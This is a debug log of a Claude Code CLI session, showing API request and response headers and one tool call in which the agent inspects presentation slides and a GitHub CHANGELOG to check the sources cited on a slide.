\"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:03:42.942Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:03:42.944Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:03:42.946Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:03:42.949Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:03:42.952Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:03:42.955Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2237\",\n[2026-09-29T08:03:42.957Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:03:42.960Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:03:42.963Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:42.967Z] [STDOUT]     \"x-client-request-id\": \"6967d6c8-0cbe-47f7-885e-9641e3feb730\",\n[2026-09-29T08:03:42.969Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:03:42.972Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:03:42.974Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:03:42.976Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:03:42.984Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:42.986Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:42.988Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:42.989Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:42.991Z] [STDOUT]   },\n[2026-09-29T08:03:42.994Z] [STDOUT] }\n[2026-09-29T08:03:43.795Z] [STDOUT] [log_68a1ab, request-id: \"req_011CfXP9hZZdKJCuayZBJLn7\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 972ms\n[2026-09-29T08:03:43.803Z] [STDOUT] [log_68a1ab] response start {\n[2026-09-29T08:03:43.812Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:43.818Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:43.820Z] [STDOUT]   headers: {\n[2026-09-29T08:03:43.822Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:43.825Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:43.827Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:43.845Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:43.853Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:43.860Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:43.864Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:43.867Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:43.870Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:43.875Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:43.878Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:43.880Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:43.883Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:43.885Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:43.888Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:43.890Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:43.892Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:43.893Z] [STDOUT]     \"cf-ray\": \"a4297910cd0e5d90-FRA\",\n[2026-09-29T08:03:43.895Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T08:03:43.896Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:43.898Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:43.902Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:43.904Z] [STDOUT]     date: \"Tue, 29 Sep 2026 08:03:43 GMT\",\n[2026-09-29T08:03:43.906Z] [STDOUT]     \"request-id\": \"req_011CfXP9hZZdKJCuayZBJLn7\",\n[2026-09-29T08:03:43.908Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T08:03:43.910Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:43.912Z] [STDOUT]     traceresponse: \"00-bcbcb217cc371296aef1935d087bf697-d739ab04bb0c061b-01\",\n[2026-09-29T08:03:43.916Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:43.918Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T08:03:43.920Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:43.922Z] [STDOUT]   },\n[2026-09-29T08:03:43.923Z] [STDOUT]   durationMs: 972,\n[2026-09-29T08:03:43.926Z] [STDOUT] }\n[2026-09-29T08:03:43.931Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T08:03:43.932Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 08:03:43 GMT\",\n[2026-09-29T08:03:43.936Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T08:03:43.939Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T08:03:43.947Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T08:03:43.950Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T08:03:43.963Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T08:03:43.968Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T08:03:43.975Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T08:03:43.978Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T08:03:43.981Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:43.986Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T08:03:43.991Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:43.994Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T08:03:43.995Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:43.998Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:44.000Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:44.002Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:44.007Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:44.009Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:44.015Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:44.026Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:44.029Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:03:44.032Z] [STDOUT]   \"request-id\": \"req_011CfXP9hZZdKJCuayZBJLn7\",\n[2026-09-29T08:03:44.040Z] [STDOUT]   \"traceresponse\": \"00-bcbcb217cc371296aef1935d087bf697-d739ab04bb0c061b-01\",\n[2026-09-29T08:03:44.042Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:44.044Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:03:44.046Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:03:44.048Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:03:44.050Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:03:44.054Z] [STDOUT]   \"cf-ray\": \"a4297910cd0e5d90-FRA\",\n[2026-09-29T08:03:44.056Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:03:44.058Z] [STDOUT] [log_68a1ab] response parsed {\n[2026-09-29T08:03:44.061Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:44.063Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:44.067Z] [STDOUT]   body: X {\n[2026-09-29T08:03:44.070Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:03:44.072Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:03:44.073Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:03:44.086Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:03:44.088Z] [STDOUT]     },\n[2026-09-29T08:03:44.091Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:03:44.093Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:03:44.095Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:03:44.097Z] [STDOUT]   },\n[2026-09-29T08:03:44.099Z] [STDOUT]   durationMs: 973,\n[2026-09-29T08:03:44.101Z] [STDOUT] }\n[2026-09-29T08:03:45.136Z] [INFO] {\n[2026-09-29T08:03:45.136Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:03:45.136Z] [INFO]   \"message\": {\n[2026-09-29T08:03:45.136Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:03:45.136Z] [INFO]     \"id\": \"msg_011CfXP9i9XcPNDjsfuERfuS\",\n[2026-09-29T08:03:45.136Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:03:45.136Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:03:45.136Z] [INFO]     \"content\": [\n[2026-09-29T08:03:45.136Z] [INFO]       {\n[2026-09-29T08:03:45.136Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:03:45.136Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T08:03:45.136Z] [INFO]         \"signature\": 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Checking what the slides cite the mango_ba_prompts CHANGELOG for:\"\n[2026-09-29T08:03:45.147Z] [INFO]       }\n[2026-09-29T08:03:45.147Z] [INFO]     ],\n[2026-09-29T08:03:45.147Z] [INFO]     \"container\": null,\n[2026-09-29T08:03:45.147Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:03:45.147Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:03:45.147Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:03:45.147Z] [INFO]     \"usage\": {\n[2026-09-29T08:03:45.147Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:03:45.147Z] [INFO]       \"cache_creation_input_tokens\": 773,\n[2026-09-29T08:03:45.147Z] [INFO]       \"cache_read_input_tokens\": 95539,\n[2026-09-29T08:03:45.147Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:03:45.147Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:03:45.147Z] [INFO]         \"ephemeral_1h_input_tokens\": 773\n[2026-09-29T08:03:45.147Z] [INFO]       },\n[2026-09-29T08:03:45.147Z] [INFO]       \"output_tokens\": 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[INFO]   \"timestamp\": \"2026-09-29T08:03:46.525Z\",\n[2026-09-29T08:03:46.556Z] [INFO]   \"request_id\": \"req_011CfXP9hZZdKJCuayZBJLn7\",\n[2026-09-29T08:03:46.556Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:03:46.556Z] [INFO]     \"toolu_019HUKNqk2npW3y9RQyRX6uT\": {\n[2026-09-29T08:03:46.556Z] [INFO]       \"command\": \"cd /tmp/gh-issue-solver-1790667776920; sed -n 218,228p projects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-slides.md; gh api repos/G-Ivan-A/mango_ba_prompts/contents/CHANGELOG.md --jq .content | base64 -d | grep -n -i 'evals\\\\|golden' | head -3\",\n[2026-09-29T08:03:46.556Z] [INFO]       \"description\": \"Inspect slide 4 sources\"\n[2026-09-29T08:03:46.556Z] [INFO]     }\n[2026-09-29T08:03:46.556Z] [INFO]   }\n[2026-09-29T08:03:46.556Z] [INFO] }\n[2026-09-29T08:03:48.673Z] [INFO] {\n[2026-09-29T08:03:48.673Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:03:48.673Z] [INFO]   \"message\": {\n[2026-09-29T08:03:48.673Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:03:48.673Z] [INFO]     \"content\": [\n[2026-09-29T08:03:48.673Z] [INFO]       {\n[2026-09-29T08:03:48.673Z] [INFO]         \"tool_use_id\": \"toolu_019HUKNqk2npW3y9RQyRX6uT\",\n[2026-09-29T08:03:48.673Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T08:03:48.673Z] [INFO]         \"content\": \"generous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\n[\u0436\u0443\u0440\u043d\u0430\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md),\\n[\u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n[\u0432\u0445\u043e\u0434\u044b \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0416\u0430\u043a\u043a\u0430\u0440 0.077](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md),\\n[\u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts),\\n[\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f \u043d\u0430 \u043d\u043e\u0440\u043c\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md),\\n[ADR-014: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md),\\n693:  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c \u0438\u043b\u0438 golden case \u2014 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0441\u0434\u0435\u043b\u0430\u043d\u0430 \u0434\u043b\u044f \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u0438\u044f\\n730:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c: \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a\\n807:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0439, \u0434\u0438\u0430\u043b\u043e\u0433 \u043e\u0431\u043e\u0440\u0432\u0430\u043d \u043d\u0430\",\n[2026-09-29T08:03:48.673Z] [INFO]         \"is_error\": false\n[2026-09-29T08:03:48.673Z] [INFO]       }\n[2026-09-29T08:03:48.673Z] [INFO]     ]\n[2026-09-29T08:03:48.673Z] [INFO]   },\n[2026-09-29T08:03:48.673Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:03:48.673Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:48.673Z] [INFO]   \"uuid\": \"3a3f6798-1be7-4193-9141-969b75470cbc\",\n[2026-09-29T08:03:48.673Z] [INFO]   \"timestamp\": \"2026-09-29T08:03:48.657Z\",\n[2026-09-29T08:03:48.673Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T08:03:48.673Z] [INFO]     \"stdout\": \"generous negative space, no text, no letters, no logos, 16:9\\n```\\n\\n**\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438:**\\n[\u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/runs),\\n[\u0436\u0443\u0440\u043d\u0430\u043b \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 `mango_ba_prompts`](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/CHANGELOG.md),\\n[\u0440\u0430\u0437\u0431\u043e\u0440 \u044d\u043a\u0441\u043f\u0435\u0440\u0438\u043c\u0435\u043d\u0442\u0430 1027](https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/docs/analysis/experiment-1027-analysis.md),\\n[\u0432\u0445\u043e\u0434\u044b \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u0416\u0430\u043a\u043a\u0430\u0440 0.077](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-meta-model-inputs-facts.md),\\n[\u043f\u0440\u043e\u043c\u043f\u0442\u044b \u0442\u0440\u0451\u0445 \u0440\u0435\u0436\u0438\u043c\u043e\u0432](https://github.com/G-Ivan-A/mango_ba_prompts/tree/main/prompts),\\n[\u0432\u043b\u0438\u044f\u043d\u0438\u0435 \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u044f \u043d\u0430 \u043d\u043e\u0440\u043c\u0443](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-09-legacy-normative-influence-facts.md),\\n[ADR-014: \u043d\u0430\u0441\u043b\u0435\u0434\u0438\u0435 \u2014 \u0441\u0432\u0438\u0434\u0435\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/docs/adr/2026-09-adr-014-legacy-evidence-not-baseline.md),\\n693:  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c \u0438\u043b\u0438 golden case \u2014 \u0444\u0438\u043a\u0441\u0430\u0446\u0438\u044f \u0441\u0434\u0435\u043b\u0430\u043d\u0430 \u0434\u043b\u044f \u043d\u0430\u043a\u043e\u043f\u043b\u0435\u043d\u0438\u044f\\n730:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case \u0438 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0448\u0430\u0431\u043b\u043e\u043d\u043e\u043c: \u0438\u0442\u043e\u0433\u043e\u0432\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a\\n807:- \u041f\u0440\u043e\u0433\u043e\u043d **\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f** golden case: \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0439, \u0434\u0438\u0430\u043b\u043e\u0433 \u043e\u0431\u043e\u0440\u0432\u0430\u043d \u043d\u0430\",\n[2026-09-29T08:03:48.673Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T08:03:48.673Z] [INFO]     \"interrupted\": false,\n[2026-09-29T08:03:48.673Z] [INFO]     \"isImage\": false,\n[2026-09-29T08:03:48.673Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T08:03:48.673Z] [INFO]   }\n[2026-09-29T08:03:48.673Z] [INFO] }\n[2026-09-29T08:03:48.769Z] [STDOUT] [log_d992cf] sending request {\n[2026-09-29T08:03:48.773Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:03:48.778Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:48.784Z] [STDOUT]   options: {\n[2026-09-29T08:03:48.796Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:03:48.802Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:03:48.810Z] [STDOUT]     body: {\n[2026-09-29T08:03:48.822Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:03:48.824Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:03:48.830Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:03:48.835Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:03:48.838Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:03:48.846Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:03:48.858Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:03:48.865Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:03:48.869Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:03:48.873Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:03:48.875Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:03:48.877Z] [STDOUT]       stream: true,\n[2026-09-29T08:03:48.882Z] [STDOUT]     },\n[2026-09-29T08:03:48.884Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:03:48.887Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:03:48.890Z] [STDOUT]       aborted: false,\n[2026-09-29T08:03:48.892Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:03:48.894Z] [STDOUT]       onabort: null,\n[2026-09-29T08:03:48.897Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:03:48.900Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:03:48.904Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:03:48.907Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:03:48.910Z] [STDOUT]     },\n[2026-09-29T08:03:48.920Z] [STDOUT]     stream: true,\n[2026-09-29T08:03:48.925Z] [STDOUT]   },\n[2026-09-29T08:03:48.938Z] [STDOUT]   headers: {\n[2026-09-29T08:03:48.941Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:03:48.943Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:03:48.949Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:03:48.955Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:03:48.959Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:03:48.962Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:03:48.965Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:03:48.972Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:03:48.974Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:03:48.979Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=2067\",\n[2026-09-29T08:03:48.983Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:03:48.988Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:03:48.994Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:03:48.996Z] [STDOUT]     \"x-client-request-id\": \"955e525e-b6ad-42f6-a8b3-817905f2efe2\",\n[2026-09-29T08:03:49.003Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:03:49.006Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:03:49.010Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:03:49.011Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:03:49.013Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:03:49.023Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:03:49.029Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:03:49.034Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:03:49.037Z] [STDOUT]   },\n[2026-09-29T08:03:49.039Z] [STDOUT] }\n[2026-09-29T08:03:49.583Z] [STDOUT] [log_d992cf, request-id: \"req_011CfXPA8zGVFSho7Tiv3mHK\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 813ms\n[2026-09-29T08:03:49.590Z] [STDOUT] [log_d992cf] response start {\n[2026-09-29T08:03:49.594Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:03:49.600Z] [STDOUT]   status: 200,\n[2026-09-29T08:03:49.605Z] [STDOUT]   headers: {\n[2026-09-29T08:03:49.608Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:03:49.610Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:03:49.615Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:03:49.620Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.47\",\n[2026-09-29T08:03:49.630Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:03:49.637Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:03:49.641Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:03:49.645Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.78\",\n[2026-09-29T08:03:49.654Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:03:49.660Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:03:49.663Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T08:03:49.669Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": 